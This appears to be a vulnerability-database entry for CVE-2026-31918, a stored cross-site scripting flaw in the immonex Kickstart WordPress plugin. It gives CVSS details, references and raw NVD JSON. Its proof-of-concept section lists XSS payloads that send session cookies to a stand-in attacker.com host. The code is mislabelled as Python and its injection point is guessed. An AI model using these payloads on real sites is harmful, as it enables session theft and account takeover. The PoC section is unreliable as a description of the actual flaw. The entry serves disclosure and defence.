CVE-2026-31918

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in immonex immonex Kickstart immonex-kickstart allows Stored XSS.This issue affects immonex Kickstart: from n/a through <= 1.13.0.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

immonex Kickstart <= 1.13.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2026-31918 Stored XSS PoC for immonex Kickstart -->
<!-- Login as low-privilege user and inject in affected input field -->
<script>
  // Steal session cookies
  fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
<!-- Or use img tag for simpler XSS -->
<img src=x onerror="fetch('https://attacker.com/log?c='+document.cookie)">
<!-- Example: Property title field injection -->
<script>new Image().src='https://attacker.com/collect?data='+btoa(document.cookie)</script>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31918
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31918
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31918/
[4] VulDB https://vuldb.com/cve/CVE-2026-31918
[5] https://patchstack.com/database/Wordpress/Plugin/immonex-kickstart/vulnerability/wordpress-immonex-kickstart-plugin-1-13-0-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31918", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:54:39.000", "lastModified": "2026-04-22T21:30:26.497", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in immonex immonex Kickstart immonex-kickstart allows Stored XSS.This issue affects immonex Kickstart: from n/a through <= 1.13.0."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en immonex immonex Kickstart immonex-kickstart permite XSS Almacenado. Este problema afecta a immonex Kickstart: desde n/a hasta <= 1.13.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/immonex-kickstart/vulnerability/wordpress-immonex-kickstart-plugin-1-13-0-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}